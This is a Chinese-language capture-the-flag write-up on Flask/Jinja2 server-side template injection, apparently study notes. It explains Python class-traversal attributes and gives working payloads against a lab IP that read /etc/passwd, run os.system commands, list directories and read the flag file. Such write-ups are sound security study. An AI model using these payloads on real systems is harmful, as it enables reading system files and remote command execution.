學習文章:https://www.freebuf.com/column/187845.html
https://blog.csdn.net/weixin_54515836/article/details/113778233
flask的渲染方法有render_template和render_template_string兩種。
render_template()是用來渲染一個指定的文件的。使用如下
return render_template('index.html')
render_template_string則是用來渲染一個字符串的。SSTI與這個方法密不可分。
使用方法如下
html = '<h1>This is index page</h1>'
return render_template_string(html)
flask jinjia渲染引擎中格式:
控制結構 {% %}
變量取值 {{}}
注釋 {# #}
基礎類的執行
__class__ 返回類型所屬的對象(類)
__mro__ 返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。
__base__ 返回該對象所繼承的基類
// __base__和__mro__都是用來尋找基類的
__subclasses__ 每個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
__init__ 類的初始化方法
__globals__ 對包含函數全局變量的字典的引用
輸入一個表達式1+2發現表達式被執行證明存在ssti
通過python的對象的繼承來一步步實現文件讀取和命令執行
思路:找到父類<type 'object'>-->尋找子類-->找關于命令執行或者文件操作的模塊。
尋找可用的引用類payload:
"".__class__.__mro__[2].__subclasses__()
解析:"".__class__.__mro__[2].__subclasses__()方法返回的是可用類(classes),而不是對象(objects)。
具體來說,__class__是一個內置屬性,表示一個對象所屬的類。通過調用__class__.__mro__,可以獲取該類的方法解析順序(Method Resolution Order,MRO),它是一個元組,按照查找方法時的順序列出了對象所屬類及其父類。
在MRO中,索引為2的元素表示對象所屬類的直接父類。對于大多數類,索引為2處的元素是object類,因為大多數類都直接或間接繼承自object類。
然后通過調用__subclasses__()方法,可以獲取一個列表,其中包含了該類的所有子類。這些子類是可用的類,可以用于創建對象和調用其方法。
綜上所述,"".__class__.__mro__[2].__subclasses__()方法返回的是可用類(classes)
發現type'file'類,可以調用其方法來讀取文件
構造一個payload讀取/etc/passwd文件
http://61.147.171.105:50215/{{"".__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
[40]是<type 'file'>所在的第幾個位置,從零開始算
可用類中還有一個<class 'site._Printer'>類,可以調用其方法來執行命令(因為它含os模版,有其他的Printer也行)
找到其位置為71,再利用__init__魔術方法初始化類
構造payload
http://61.147.171.105:50215/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}
如果system被過濾或者找不到,用os的listdir讀取目錄+file模塊讀取文件
構造payload,listdir函數中的點表示當前目錄
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
看到flag的文件名
利用os模塊的file,read讀取
payload:
http://61.147.171.105:50215/{{"".__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
成功讀取到flag